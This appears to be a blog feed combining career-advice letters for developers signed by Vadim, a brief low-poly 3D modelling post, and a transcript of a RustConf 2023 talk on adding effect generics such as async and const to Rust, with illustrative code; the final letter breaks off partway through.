When choosing what project to build, resist the temptation to settle for simple tasks like creating a calculator app or a to-do list. This won’t do, we need something massive, something complex, aim for real-world applicability. Imagine you’re tasked with developing a full-stack blog platform, or a money-tracking app. This project alone encompasses a wide array of skills and technologies you’ll need to master, from front-end to back-end development, database management, and user authentication. The key here is to push yourself into territories that are unfamiliar and challenging, forcing you to learn and adapt. Remember, this is your full-time job, so you have a boss (yourself) who expects you to have a running real-world product.

While building, use GitHub not just for code storage but as a learning tool. Dive deep into each library that you’re importing, understand how it’s built and why, make sure you understand the mechanics and the reasoning behind each line of code. Again, think of it as gaining +1 experience to every function that you fully grasp. Your goal is to be able to discuss these projects with potential employers, demonstrating not just your technical skills but your problem-solving process and your ability to learn independently. For example there are popular libraries in Javascript world that get imported quite often e.g. Axios for request, or Express.js.

Documenting your journey is equally important. I’m not saying write a whole poem each day, just 1-2 lines of what you learned, accomplished. Keep a log of what you learn, the obstacles you encounter, and how you overcome them. This record will not only serve as a personal reminder of how far you’ve come but also as a valuable resource to share with potential employers or collaborators. Imagine you seeing this big ass list of things that you’ve learned at your “current job”. This will be your achievements that you can talk in the future. You will be able to explain why you chose that library, why you built things in a specific way.

🏄 Keep your algorithms and data structures knowledge fresh. Watch some youtube videos about practical use of the concepts that you learned as part of your CS degree. 

After you’ve done building the current app, select the next one. Make it more complex, take a look at some SaaS that indie developers do, and try to copy them. Your portfolio is your gateway to the industry. Set up a personal website, even a simple one, where you showcase your projects and share your experiences — this will set you apart from other candidates.

In the meantime, when you’re not building your main project — start doing open-source. On a personal note, I developed quite a few open-source libraries myself, and contributed to some. So this is definitely a thing and contribution to open-source projects can be incredibly beneficial. It connected me with like-minded people, I hope it will serve you as well. Working with others on an open-source project can simulate a real-world development team environment, providing insights into collaborative coding, version control, and project management. You can then say to the interviewer that you have experience working as part of a team. Moreover, contributing to open-source projects is a way to keep your skills sharp — there will be code reviews and and people will tell you what you’re doing wrong etc.

Remember, this is not just about building a portfolio to impress potential employers. It’s about transforming yourself into a confident developer who can tackle real-world problems, work within a team, and continuously adapt and learn. You’re doing this for you, not for some employer.

The road ahead is not easy, and there will be moments of doubt and frustration. But start small, and gather those +1 experience on your character and eventually you will find a job.

Cheers,
Vadim

The post How to get programming experience when you can’t find a job? appeared first on Vadim Kravcenko.

Do some people just not have the talent for Software Engineering?

Dear Friend,

Your openness in sharing your experiences and concerns resonates deeply with me. I understand how you feel. I felt the same way a few times, though maybe not at the same level as you did. I will try to offer you some guidance, even though our paths are different — I came into programming because of my passion, not because of the money, but I will try to help as much as I can.

Firstly, let me say that your realization and self-reflection are both brave and crucial steps toward finding your true calling within or outside the tech industry. It truly takes a lot of balls to consider that it’s not the job that’s bad, it might be you. It’s a universal truth that not everyone is cut out for every career, and software engineering is no exception. This field, at its core, is about problem-solving, resilience, and a relentless pursuit of solutions amidst all the bugs. It’s very daunting — staring at your screen the whole day, tackling problems head-on, spending days in a loop of fixing and testing until a breakthrough is achieved.

🏄 It's not at all as glamorous as people portray it to be (especially how coding bootcamps overpromise the joy of working in tech).

The essence of software engineering goes beyond the act of coding — Math, Mental Resilience, ability to try and fail a hundred times per day. This aspect of the job is, arguably, more taxing and more critical than mastering any programming language or technology stack.

From managing a team of software engineers, I’ve seen firsthand that those who thrive in this environment are the ones who find something in the work that they genuinely enjoy, and it isn’t money. It could be the thrill of problem-solving, the satisfaction of continuous learning, or the camaraderie of a team working towards a common goal. Without this intrinsic motivation, the job can quickly become a source of frustration and burnout, regardless of the financial rewards it offers. Without this satisfaction you will start dreading writing code.

This brings me to an important point about motivation. While it’s common to enter fields like software engineering for the financial benefits, my experience has shown that money alone is seldom enough to sustain long-term success and eventually leads to burnout and depression. Even those friends that you mentioned, that have only financial interest, are probably at least enjoying what they’re doing to a degree, they might be natural problem solvers or math enthusiasts. I’ve witnessed highly potential individuals struggle because they lacked a fundamental interest in the work itself. The emotional exhaustion from constantly facing new problems without the underlying passion for solving them can be overwhelming.

It’s also worth noting that the tech industry is vast and diverse, with a plethora of roles that require a mix of technical and soft skills. You don’t have to be an software developer — you can do integrations, DevOps, tech sales, you can even move to product based roles. Your foundational knowledge in software engineering can be a valuable asset in roles such as project management, technical sales, or user experience design, where understanding the basics of coding adds immense value without the need for deep technical expertise.

As you think about your next steps, consider what aspects of your current and past experiences have brought you joy and fulfillment. Is there a way to align your career path with these interests and strengths? Remember, finding the right fit might mean exploring roles that offer a different pace or environment, such as positions in government or startup, where the work rhythm might be more suited to your style.

In conclusion. Yes I think software engineering is not for everyone, some people are not made for it. As any field is not for everyone. For example, I would probably be a bad pilot, I’m not suitable for that position — I’m afraid of flying. Whether you decide to pursue a different path in tech or outside of it, the key is to find work that resonates with you a bit more than average amount.

Choose the field that suits you better. That’s it. Wishing you all the best in your journey ahead.

The post Do some people just not have the talent for Software Engineering? appeared first on Vadim Kravcenko.

8-bit 3D City I&rsquo;ve been practicing bit of low poly 3d modeling and here&rsquo;s the result. Here&rsquo;s the&hellip;

8-bit 3D City
I’ve been practicing bit of low poly 3d modeling and here’s the result.

Here’s the link to the OBJ 3d files: shorturl.at/cqsxC

Patreon //Ko-fi // inprint

How to learn coding without a degree?

Hey there, I’m always happy when someone new decides to join the software engineering field. If you’re used to browsing reddit it might seem that there are a lot of developers, but to be honest, we’re still lacking compared to other fields. So I’m super glad you decided to learn how to code. Not sure why you don’t want to do that with a university, but it’s your choice and I respect it.

Let’s tackle your concern head-on: Yes, you can learn to code from scratch, and yes, people from non-technical backgrounds do land jobs in tech, degree or no degree. The key is to start simple and build from there. Think of coding like learning a new language. You wouldn’t start by reading Shakespeare; you’d start with the basics.

So let’s start with the first steps. Everything you will ever need is available on the internet. Your whole software engineering degree is available in multiple different formats online. Starting with YouTube, it’s a goldmine for aspiring coders. There’s literally thousands of channels that offer comprehensive tutorials on a wide range of programming languages and development concepts. It doesn’t really matter with which one you start — as long as you add the word basic or “for dummies” to the search you will get enough information to last you the first months.

🏄 Also to be fully clear — while the information is indeed available for free, you'll still have to spend countless hours reading and understanding and then implementing the advice. it will be painful, like in any profession.

When it comes to learning something new, especially something as vast as coding, having a structured schedule can make a world of difference. I would suggest to dedicating specific hours of your day for theory, for fundamentals learning and practicing coding. This doesn’t mean you need to overwhelm yourself; even an hour a day can lead to significant progress over time. The key is consistency. Consider using tools like Google Calendar to block out learning sessions, and treat these blocks as non-negotiable appointments with yourself.

It helps a lot when you already have an idea in mind that you want to build that will be your “goal” while learning. It can be anything — starting from a video game to a website or to a programmable robot, doesn’t really matter, as long as you’re passionate about it. This passion will help you overcome those days when you don’t feel like coding at all.

This “side project” allows you to apply what you’ve learned in a practical, hands-on way. The idea is to start small and gradually increase the complexity of your projects as you become more comfortable with coding. Not only do these projects reinforce your learning, but they also build a portfolio that you can showcase to potential employers or clients. And I can guarantee you, recruiters will ask for samples of your code or projects that you’ve built, and you better have a good story of a challenge that you solved recently. Write them down while you’re learning.

Also, don’t underestimate the power of community. Join online forums, coding masterminds, or local meetups (when possible). These communities can provide invaluable support, feedback on your projects, and even opportunities for collaboration. They also can keep you accountable while learning. There’s usually already a path that everyone took so you have your whole path in clear sight ahead of you. Platforms like GitHub are also great for contributing to open-source projects, which can further enhance your skills and visibility in the tech community.

Once you start getting the hang of it you will feel that everyone has it all figure out and you’re the only one who doesn’t understand it. Relax, it’s just the impostor syndrome kicking in. But here’s the thing: everyone starts somewhere, and every expert was once a beginner. The key is to keep pushing through, practicing, and not being afraid to tackle problems head-on.

If you’re real serious about making this transition, consider looking for part-time tech internships or freelance projects or unpaid internships where they will invest heavily into you for some pay later on. In general I’m against any unpaid work, but if you’re willing, this might be the shortest but hardest path. Real-world experience is invaluable, and it’s a great way to build your resume and network. You will suffer, but for a shorter time than learning it all online yourself.

So, to wrap this up: Your journey from sales to coding is feasible. It will require dedication, patience, and a lot of hard work, but the rewards—both personal and professional—are immense. Each line of code you write, each bug that you solve, each video that you watch is a step closer to your new career. So just keep on grinding.

Best of luck to you,
Vadim

The post How to learn coding without a degree? appeared first on Vadim Kravcenko.

Extending Rust's Effect System

This is the transcript of my RustConf 2023 talk: "Extending Rust's Effect System", presented on September 13th 2023 in Albuquerque, New Mexico and streamed online.

Introduction

Rust has continuously evolved since version 1.0 was released in 2015. We've added major features such as the try operator (?), const generics, generic associated types (GATs), and of course: async/.await. Out of those four features, three are what can be considered to be "effects". And though we've been working on them for a long time, they are all still very much in-progress.

Hello, my name is Yosh and I work as a Developer Advocate for Rust at Microsoft. I've been working on Rust itself for the past five years, and I'm among other things a member of the Rust Async WG, and the co-lead of the Rust Effects Initiative.

The thesis of this talk is that we've unknowingly shipped an effect system as part of the language in since Rust 1.0. We've since begun adding a number of new effects, and in order to finish integrating them into the language we need support for effect generics.

In this talk I'll explain what effects are, what makes them challenging to integrate into the language, and how we can overcome those challenges.

Rust Without Generics

When I was new to Rust it took me a minute to figure out how to use generics. I was used to writing JavaScript, and we don’t have generics there. So I found myself mostly writing functions which operated on concrete types. I remember my code felt pretty clumsy, and it wasn't a great experience. Not compared to, say, the code the stdlib provides.

An example of a generic stdlib function is the io::copy function. It reads bytes from a reader, and copies them into a writer. We can give it a file, a socket, or any combination of the two, and it will happily copy bytes from one into the other. This all works as long as we give it the right types.

But what if Rust actually didn't have generics? What if the Rust I used to write at the beginning was actually all we had? How would we write this io::copy function? Well, given we're trying to copy bytes between sockets and file types, we could probably hand-code individual functions for these. For our two types here we could write four unique functions.

But unfortunately for us that would only solve the problem right in front of us. But the stdlib doesn’t just have two types which implement read and write. It has 18 types which implement read, and 27 types which implement write. So if we wanted to cover the entire API space of the stdlib, we’d need 486 functions in total. And if that was the only way we could implement io::copy, that would make for a pretty bad language.

Now luckily Rust does have generics, and all we ever need is the one copy function. This means we're free to keep adding more types into the stdlib without having to worry about implementing more functions. We just have the one copy function, and the compiler will take care of generating the right code for any types we give it.

Why effect generics?

Types are not the only things in Rust we want to be generic over. We also have "const generics" which allow functions to be generic over constant values. As well as "value generics" which allow functions to be generic over different values. This is how we can write functions which can take different values - which is a feature present in most programming languages.

fn by_value(cat: Cat) { .. }
fn by_reference(cat: &Cat) { .. }
fn by_mutable_reference(cat: &mut Cat) { .. }

But not everything that can lead to API duplication are things we can be generic over. For example, it's pretty common to create different methods or types depending on whether we take a value as owned, as a reference, or as a mutable reference. We also often create duplicate APIs for constant values and for runtime values. As well as create duplicate structures depending on whether the API needs to be thread-safe or not.

But out of everything which can lead to API duplication, effects are probably one of the biggest ones. When I talk about effects in Rust, what I mean is certain keywords such as async/.await and const; but also ?, and types such as Result, and Option. All of these have a deep, semantic connection to the language, and changes the meaning of our code in ways that other keywords and types don't.

Sometimes we'll write code which doesn't have the right effects, leading to effect mismatches. This is also known as the function coloring problem, as described by Robert Nystrom. Once you become aware of effect mismatches you start seeing them all over the place, not just in Rust either.

The result of these effect mismatches is that using effects in Rust essentially drops you into a second-rate experience. Whether you're using const, async, Result, or Error - almost certainly somewhere along the line you'll run into a compatibility issue.

let db: Option<Database> = ..;
let db = db.filter(|db| db.name? == "chashu");

Take for example the Option::filter API. It takes a type by reference and returns a bool. If we try and use the ? operator inside of it we get an error, because the function doesn't return Result or Option. Not being able to use ? inside of arbitrary closures is an example of an effect mismatch.

But simple functions like that only scratch the surface. Effect mismatches are present in almost every single trait in the stdlib too. Take for example something common like the Debug trait which is implemented on almost every type in Rust.

We could implement the Debug trait for our made-up type Cat. The parameter f here implements io::Write and represents a stream of bytes. And using the write! macro we can write bytes into that stream. But if for some reason we wanted to write bytes asynchronously into, say, an async socket. Well, we can't do that. fn fmt is not an async function, which means we can't await inside of it.

One way out of this could be to create some kind of intermediate buffer, and synchronously write data into it. We could then write data out of that buffer asynchronously. But that would involve extra copies we didn't have before.

If we wanted to make it identical to what we did before, the solution would be to create a new AsyncDebug trait which can write data asynchronously into the stream. But we now have duplicate traits, and that's exactly the problem we're trying to prevent.

It's tempting to say that maybe we should just add the AsyncDebug trait and call it a day. We can then also add async versions of Read, Write, and Iterator too. And perhaps Hash as well, since it too writes to an output stream. And what about From and Into? Perhaps Fn, FnOnce, FnMut, and Drop too since they're built-ins? And so on. The reality is that effect mismatches are structural, and duplicating the API surface for every effect mismatch leads to an exponential explosion of APIs. Which is similar to what we've seen with data type generics earlier on.

Let me try and illustrate this for a second. Say we took the existing family of Fn traits and introduced effectful versions of them. That is: versions which work with unsafe 1, async, try, const, and generators. With one effect we're up to six unique traits. With two effects we're up to twelve. With all five we're suddenly looking at 96 different traits.

1

Correction from 2024: after having discussed this with Ralf Jung we've concluded that semantically unsafe in Rust is not an effect. But syntactically it would be fair to say that unsafe is "effect-like". As such any notion of "maybe-unsafe" would be nonsensical. We don't discuss such a feature in this talk, but it is worth clearing up ahead of time in case this leaves people wondering.

The problem space in the stdlib is really broad. From analyzing the Rust 1.70 stdlib, by my estimate about 75% of the stdlib would interact with the const effect. Around 65% would interact with the async effect. And around 30% would interact with the try effect. The exact numbers are imprecise because parts of the various effects are still in-progress. How much this will result in practice, very much will depend on how we end up designing the language.

If you compare the numbers then it appears that close to 100% of the stdlib would interact with one or more effect. And about 50% would interact with two or more effects. If we consider that whenever effects interact with each other they can lead to exponential blowup, this should warn us that clever one-off solutions won't cut it. I believe that the best way to deal with this is to instead allow Rust to enable items to be generic over effects.

Stage I: Effect-Generic Trait Definitions

Now that we've taken a good look at what happens when we can't be generic over effects, it's time we start talking about what we can do about it. The answer, unsurprisingly, is to introduce effect generics into the language. To cover all uses will take a few steps, so let's start with the first, and arguably most important one: effect-generic trait definitions.

This is important because it would allow us to introduce effectful traits as part of the stdlib. Which would among other things would help standardize the various async ecosystems around the stdlib.

pub trait Into<T>: Sized {     
    fn into(self) -> T;
}
impl Into<Loaf> for Cat {     
    fn into(self) -> Loaf {
        self.nap()
    }
}

Let's use a simple example here: the Into trait. The Into trait is used to convert from one type into another. It is generic over a type T, and has one function "into" which consumes Self and returns the type T. Say we have a type cat which when it takes a nap turns into a cute little loaf. We can implement Into<Loaf> for Cat by calling self.nap in the function body.

pub trait AsyncInto<T>: Sized {     
    async fn into(self) -> T;
}
impl AsyncInto<Loaf> for Cat {     
    async fn into(self) -> Loaf {
        self.nap().await
    }
}

But what if the cat doesn't take a nap straight away? Maybe nap should actually be an async function. In order to await nap inside the trait impl, the into method would need to be async. If we were writing an async trait from scratch, we could do this by exposing a new AsyncInto trait with an async into method.

But we don't just want to add a new trait to the stdlib, instead we want to extend the existing Into trait to work with the async effect. The way we could extend the Into trait with the async effect is by making the async effect optional. Rather than requiring that the trait is always sync or async, implementors should be able to choose which version of the trait they want to implement.

#[maybe(async)]
impl Into<Loaf> for Cat {     
    #[maybe(async)]
    fn into(self) -> Loaf {
        self.nap()
    }
}

The way this would work is by adding a new notation on the trait: "maybe async". We don't yet know what syntax we want to use for "maybe async", so in this talk we'll be using attributes. The way the "maybe async" notation works is that we mark all methods which we want to be "maybe async" as such. And then mark our trait itself as "maybe async" too.

impl Into<Loaf> for Cat {     
    fn into(self) -> Loaf {
        self.nap()
    }
}
impl async Into<Loaf> for Cat {     
    async fn into(self) -> Loaf {
        self.nap().await
    }
}

Implementors then get to choose whether they want to implement the sync or async versions of the trait. And depending on which version they choose, the methods then ends up being either sync or async. This system would be entirely backwards-compatible, because implementing the sync version of Into would remain the same as it is today. But people who want to implement the async version would be able to, just by adding a few extra async keywords to the impl.

impl async Into<Loaf> for Cat {
    async fn into(self) -> Loaf {
        self.nap().await
    }
}
impl Into<Loaf, true> for Cat {
    type ReturnTy = impl Future<Output = Loaf>;
    fn into(self) -> Self::ReturnTy {
        async move {
            self.nap().await
        }
    }
}

Under the hood the implementations desugars to regular Rust code we can already write today. The sync implementation of the type returns a type T. But the async impl returns an impl Future of T. Under the hood it is just a single const bool and some associated types.

  • good diagnostics
  • gradual stabilization,
  • backwards-compatibility
  • clear inference rules

It would be reasonable to ask why we're bothering with a language feature, if the desugaring ends up being so simple. And the reason is: effects are everywhere, and we want to make sure effect generics feel like part of the language. That not only means that we want to tightly control the diagnostics. We also want to enable them to be gradually introduced, have clear language rules, and be backwards-compatible.

But if you keep all that in mind, it's probably okay to think of effect generics as mostly syntactic sugar for const bools + associated types.

Stage II: Effect-Generic Bounds, Impls, and Types

Being able to declare effect-generic traits is only the beginning. The stdlib not only exposes traits, it also exposes various types and functions. And effect-generic traits don't directly help with that.

pub fn copy<R, W>(
    reader: &mut R,
    writer: &mut W
) -> io::Result<()>
where
    R: Read,
    W: Write;

Let's take our earlier io::copy example again. As we've said copy takes a reader and writer, and then copies bytes from the reader to the writer. We've seen this.

pub fn async_copy<R, W>(
    reader: &mut R,
    writer: &mut W
) -> io::Result<()>
where
    R: AsyncRead,
    W: AsyncWrite;

Now what would it look like if we tried adding an async version of this to the stdlib today. Well, we'd need to start by giving it a different name so it doesn't conflict with the existing copy function. The same goes for the trait bounds as well, so instead of taking Read and Write, this function would take AsyncRead and `AsyncWrite.

pub fn async_copy<R, W>(
    reader: &mut R,
    writer: &mut W
) -> io::Result<()>
where
    R: async Read,
    W: async Write;

Now things get a little better once we have effect-generic trait definitions. Rather than needing to take async duplicates of the Read and Write traits, the function can instead choose the async versions of the existing Read and Write traits. That's already better, but it still means we have two versions of the copy function.

#[maybe(async)]
pub fn copy<R, W>(
    reader: &mut R,
    writer: &mut W
) -> io::Result<()>
where
    R: #[maybe(async)] Read,
    W: #[maybe(async)] Write;

Instead the ideal solution would be to allow copy itself to be generic over the async effect, and make that determine which versions of Read and Write we want. These are what we call "effect-generic bounds". The effect of the function and the effect of the bounds it takes all become the same. In literature this is also known as "row-polymorphism".

copy(reader, writer)?;                // infer sync
copy(reader, writer).await?;          // infer async
copy::<async>(reader, writer).await?; // force async

Because the function itself is now generic over the async effect, we need to figure out at the call-site which variant we intended to use. This system will make use of inference to figure it out. That's a fancy way of saying that the compiler is going to make an educated guess about which effects the programmer intended to use. If they used .await they probably wanted the async version. Otherwise they probably wanted the sync version. But as with any guess: sometimes we guess wrong, so for that reason we want to provide an escape hatch by enabling program authors to force the variant. We don't know the exact syntax for this yet, but we assume this would likely be using the turbofish notation.

struct File { .. }
impl File {
    fn open<P>(p: P) -> Result<Self>
    where
        P: AsRef<Path>;
}

But effect-generics aren't just needed for functions. If we want to make the stdlib work well with effects, then types will need effect-generics too. This might seem strange at first, since an "async type" might not be very intuitive. But for example files on Windows need to be initialized as either sync or async. Which means that whether they're async or not isn't just a property of the functions, it's a property of the type.

Let's use the stdlib's File type as our example here. For simplicity let's assume it has a single method: open which returns either an error or a file.

struct AsyncFile { .. }
impl AsyncFile {
    async fn open<P>(p: P) -> Result<Self>
    where
        P: AsRef<AsyncPath>;
}

If we wanted to provide an async version of File, we again would need to duplicate our interfaces. That means a new type AsyncFile, which has a new async method open, which takes an async version of Path as an argument. And Path needs to be async because it itself has async filesystem methods on it. As I've said before: once you start looking you notice effects popping up everywhere.

#[maybe(async)]
struct File { .. }

#[maybe(async)] 
impl File {
    #[maybe(async)]
    fn open<P>(p: P) -> Result<Self>
    where
        P: AsRef<#[maybe(async)] Path>;
}

Instead of creating a second AsyncFile type, with effect generics on types we'd be able to open File as async instead. Allowing us to keep just the one File definition for both sync and async variants.

#[maybe(async)]
fn copy<R, W>(reader: R, writer: W) -> io::Result<()> {
    let mut buf = vec![4028];
    loop {
        match reader.read(&mut buf).await? {
            0 => return Ok(()),
            n => writer.write_all(&buf[0..n]).await?,
        }
    }
}

Now I've sort of hand-waved away the internal implementations of both the copy function and the File type. The way they work is a little different for the two. In the case of the copy function, the implementation between the async and non-async variants would be identical. If the function is compiled as async, everything works as written. But if the function compiles as sync, then we just remove the .awaits and the function should compile as expected.

As a result of this "maybe-async" functions can only call sync or other "maybe-async" functions. But that should be fine for most cases.

impl File {
    #[maybe(async)]
    fn open<P>(p: P) -> Result<Self> {
        if IS_ASYNC { .. } else { .. }
    }
}

Concrete types like File are a little trickier. They often want to run different code depending on which effects it has. Luckily types like File already conditionally compile different code depending on the platform, so introducing new types conditions shouldn't be too big of a jump. The key thing we need is a way to detect in the function body whether code is being compiled as async or not - basically a fancy bool.

We can already do this for the const effect using the const_eval_select intrinsic. It's currently unstable and a little verbose, but it works reliably. We should be able to easily adapt it to something similar for async and the rest of the effects too.

What are effects?

Systems research on effects has been a topic in computer science for nearly 40 years. That's about as old as C++. It's become a bit of a hot topic recently in PL spheres with research languages such as Koka, Eff, and Frank showing how effects can be useful. And languages such as Scala, and to a lesser extent Swift, adopting effect features.

When people talk about effects they will broadly refer to one of two things:

  • Algebraic Effect Types: which are semantic notations on functions and contexts that grant a permission to do something.
  • Algebraic Effect Handlers: which are a kind of typed control-flow primitive which allows people to define their own versions of async/.await, try..catch, and yield.

A lot of languages which have effects provide both effect types and effect handlers. These can be used together, but they are in fact distinct features. In this talk we'll only be discussing effect types.

pub async fn meow(self) {}
pub const unsafe fn meow() {}

What we've been calling "effects" in this talk so far have in fact been effect types. Rust hasn't historically called them this, and I believe that's probably why effect generics weren't on our radar until recently. But it turns out that reinterpreting some of our keywords as effect types actually makes perfect sense, and provides us with a strong theoretical framework for how to reason about them.

We also have unsafe which allows you to call unsafe functions. The unstable try-block feature which doesn't require you to Ok-wrap return types. The unstable generator closure syntax which gives you access to the yield keyword. And of course the const keyword which allows you evaluate code at compile-time.

async { async_fn().await }; // async effect
unsafe { unsafe_fn() };     // unsafe effect
const { const_fn() };       // const effect
try { try_fn()? };          // try effect (unstable)
|| { yield my_type };       // generator effect (unstable)

In Rust we currently have five different effects: async, unsafe, const, try, and generators. All six of these are in various stages of completion. For example: async Rust has functions and blocks, but no iterators or drop. Const doesn't have access to traits yet. Unsafe functions can't be lowered to Fn traits. Try does have the ? operator, but try blocks are unstable. And generators are entirely unstable; we only have the Iterator trait.

Some of these effects are what folks on the lang team have started calling "carried". Those are effects which will desugar to an actual type in the type system. For example when you write async fn, the return type will desugar to an impl Future.

Some other effects are what we're calling: "uncarried". These effects don't desugar to any types in the type system, but serve only as a way to communicate information back to the compiler. This is for example const or unsafe. While we do check that the effects are used correctly, they don't end up being lowered to actual types.

let x = try async { .. };
1. -> impl Future<Output = Result<T, E>>
2. -> Result<impl Future<Output = T>, E>

When we talk about carried effects, effect composition becomes important. Take for example "async" and "try" together. If we have a function which has both? What should the resulting type be? A future of Result? Or a Result containing a Future?

Effects on functions are order-independent sets. While Rust currently does require you declare effects in a specific order, carried effects themselves can only be composed in one way. When we stabilized async/.await, we decided that if an async function returned a Result, that should always return an impl Future of Result. And because effects are sets and not dependent on ordering, we can define the way carried effects should compose as part of the language.

People can still opt-out from the built-in composition rules by manually writing function signatures. But this is rare, and for the overwhelming majority of uses the built-in composition rules will be the right choice.

const fn meow() {}  // maybe-const
const {}            // always-const

The const effect is a bit different from the other effects. const blocks are always evaluated during compilation. While const functions merely can be evaluated during during compilation. It's perfectly fine to call them at runtime too. This means that when we write const fn, we're already writing effect-generics. This mechanism is the reason why we've gradually been able to introduce const into the stdlib in a backwards-compatible way.

Const is also a bit strange in that among other things it disallows access to the host runtime, it can't allocate, and it can't access globals. This feels different from effects like say, async, which only allow you to do more things.

effect setcan accesscannot access
std rustnon-termination, unwinding, non-determinism, statics, runtime heap, host APIsN/A
allocnon-termination, unwinding, non-determinism, globals, runtime heaphost APIs
corenon-termination, unwinding, non-determinism, globalsruntime heap, host APIs
constnon-termination, unwindingnon-determinism, globals, runtime heap, host APIs

What's missing from this picture is that all functions in Rust carry an implicit set of effects. Including some effects we can't directly name yet. When we write const functions, our functions have a different set of effects, than if we write no_std functions, which again are different from regular "std" rust functions.

The right way of thinking about const, std, etc. is as adding a different effects to the empty set of effects. If we start from zero, then all effects are merely additive. They just add up to different numbers.

Unfortunately in Rust we can't yet name the empty set of effects. In effect theory this is called the "total effect". And some languages such as Koka do support the "total" effect. In fact, Koka's lead developer has estimated that around 70% of a typical Koka program can be total. Which begs the question: if we could express the total effect in Rust, could we see similar numbers?

Stage III: More Effects

So far we've only talked about how we could finish the work on existing effects such as const and async. But one nice thing of effect generics is that they would not only allow us to finish our ongoing effects work. It would also lower the cost of introducing new effects to the language.

Which opens up the question: if we could add more effects, which effects might make sense to add? The obvious ones would be to actually finish adding try and generator functions. But beyond that, there are some interesting effects we could explore. For brevity I'll only discuss what these features are, and not show code examples.

  • no-divergence: guarantees that a function cannot loop indefinitely, opening up the ability to perform static runtime-cost analysis.
  • no-panic: guarantees a function will never produce a panic, causing the function to unwind.
  • parametricity: guarantees that a function only operates on its arguments. That means no implicit access to statics, no global filesystem, no thread-locals.
  • capability-safety: guarantees that a function is not only parametric, but can't downcast abstract types either. Say if you get an impl Read, you can't reverse it to obtain a File.
  • destructor linearity: guarantees that Drop will always be called, making it a safety guarantee.
  • pattern types: enables functions to operate directly on variants of enums and numbers
  • must-not-move types: would be a generalization of pinning and the pin-project system, making it a first-class language feature

Though there's nothing inherently stopping us from adding any of these features into Rust today, in order to integrate them into the stdlib without breaking backwards-compatibility we need effect generics first.

effect const  = diverge + panic;
effect core   = const + statics + non_determinism;
effect alloc  = core + heap;
effect std    = alloc + host_apis;

This brings us to the final part of the design space: effect aliases. If we keep adding effects it's very easy to eventually reach into a situation where we have our own version of "public static void main".

In order to mitigate that it would instead be great if we could name specific sets of effects. In a way we've already done that, where const represents "may loop forever" and "may panic". If we actually had "may loop forever" and "may panic" as built-in effects, then we could redefine const as an alias to those.

Fundamentally this doesn't change anything we've talked about so far. It's just that this would syntactically be a lot more pleasant to work with. So if we ever reach a state where we have effect generics and we want notice we maybe have one too many notation in front of our functions, it may be time for us to start looking into this more seriously.

Outro

Rust already includes effect types such as async, const, try, and unsafe. Because we can't be generic over effect types yet, we usually have to choose between either duplicating code, or just not addressing the use case. And this makes for a language which feels incredibly rough once you start using effects. Effect generics provide us with a way to be generic over effects, and we've shown they can be implemented today as mostly as syntax sugar over const-generics.

We're currently in the process of formalizing the effect generic work via the A-Mir-Formality. MIR Formality is an in-progress formal model of Rust's type system. Because effect generics are relatively straight forward but have far-reaching consequences for the type system, it is an ideal candidate to test as part of the formal model.

In parallel the const WG has also begun refactoring the way const functions are checked in the compiler. In the past const-checking happened right before borrow checking at the MIR level. In the new system const-checking will happen much sooner, at the HIR level. This will not only make the code more maintainable, it will also be generalizable to more effects if needed.

Once both the formal modeling and compiler refactorings conclude, we'll begin drafting an RFC for effect-generic trait definitions. We expect this to happen sometime in 2024.

And that's the end of this talk. Thank you so much for being with me all the way to the end. None of the work in this talk would have been possible without the following people:

  • Oliver Scherer (AWS)
  • Eric Holk (Microsoft)
  • Niko Matsakis (AWS)
  • Daan Leijen (Microsoft)

Thank you!

What to expect from the dev agency after MVP is done?

Dear JK,

Congratulations on reaching this pivotal moment with your MVP. It’s an exciting time, but I understand it’s also filled with questions and uncertainties about the next steps. Your concerns about documentation, IP protection, and transitioning to an in-house development team are valid and crucial for the sustainable growth of your startup. Let me share some insights from my experience and some knowledge as well, as I run my own dev agency, so maybe I can help you understand better how it works.

First and foremost, the code is just a small part of the MVP that you should receive and it’s just the beginning of a journey. The documentation you receive from your development agency is your roadmap for this journey. It should be comprehensive, covering both technical and non-technical aspects. Expect detailed API documentation, architecture diagrams, user guide (if there’s a dashboard of some sort), list of user stories that explain not just the “what” but the “how” and “why” behind your product.

I’ve once written a 100 Page API description after project delivery — detailing every endpoint, every component, every business logic that we implemented and how.

Platforms like Jira and Confluence can be invaluable here, serving as repositories DURING development, which then can be exported for later use as your requirements, planning, and documentation. This includes business flow and architectural diagrams, tech stack information, detailed design documents, and even data models. These documents are not just paperwork; they are the blueprint of your product’s foundation. The more your external team invests into documentation during the development, the easier it is for you to take the project with you.

Protecting your intellectual property (IP) is another critical concern. Here’s it’s more or less straightforward — the foundation of IP protection is a clear contract, NDA, and Statement of Work (SOW) that explicitly states your ownership of all developments, including code, ideas, and any IP created during the engagement.

The standard practice in software development is to do that AFTER all invoices are paid in full, there’s a clause in every statement of work, which transfers the IP to you and you become the sole owner after payment.

If you’re not technically inclined, consider hiring a temporary technical advisor who can oversee this aspect, ensuring that all legal and technical measures are in place to protect your IP. This includes ensuring that the development team uses a secure source code repository like GIT, with access strictly limited to individuals who have signed the NDA.

As your engagement with the development agency comes to an end, safeguarding your codebase becomes paramount. There are two questions here:

  • Where is the code stored?
  • Where is the code deployed?

Ensure that you have a process in place for revoking access to all your systems and that you maintain regular backups to mitigate any data loss risks. The transition of the codebase to your in-house team should be planned right from the start. It shouldn’t be a secret that you’re planning on taking the project in-house and the external agency should help you out with the process. A handover session of at least two hours with the development agency can facilitate a smoother transition, but from my experience you usually require a few of those. Don’t underestimate the value of ongoing support. Your new team will benefit from the ability to consult with the outgoing developers as they familiarize themselves with the codebase.

Remember, transitioning a software project is not a one-off event. It’s a process that requires time, patience, and cooperation from both your in-house team and the external agency. You cannot just say for example 31st of December the old agency stops working, and 1st of January your new in-house team takes over. No, there needs to be a 6-, 3-, or 1-month transition period where both teams work alongside each other. The goal is to ensure no loss of knowledge or assets, making the parallel support of the original developers invaluable.

I highly recommend you get someone tech-savvy on board to help with this transition. I can suggest myself, but if you have anyone else in mind, you can also work with them. Having your own expert or technical advisor can really make all the difference and save you some headaches.

Hope this has answered your question about what to expect form a development agency.

Cheers,
Vadim

The post What to expect from the dev agency after MVP is done? appeared first on Vadim Kravcenko.

How to better handle stress in a startup?

Dear Reader,

First off, let me commend you on the courage and determination you’ve already shown on your journey. The achievements you’ve shared, from your academic success to joining a startup as a software developer — speak volumes about your potential. You’re doing great so far. Also, I wouldn’t say you shy away from problems, your decision to leave university for the startup path is a very bold one, and it’s clear you’re someone who doesn’t hide from making tough decisions.

I can say I walked a similar path, I wanted to drop out of the university multiple times, though not for the same reasons as you, I just thought that I don’t have anything to learn there (I was wrong though!).

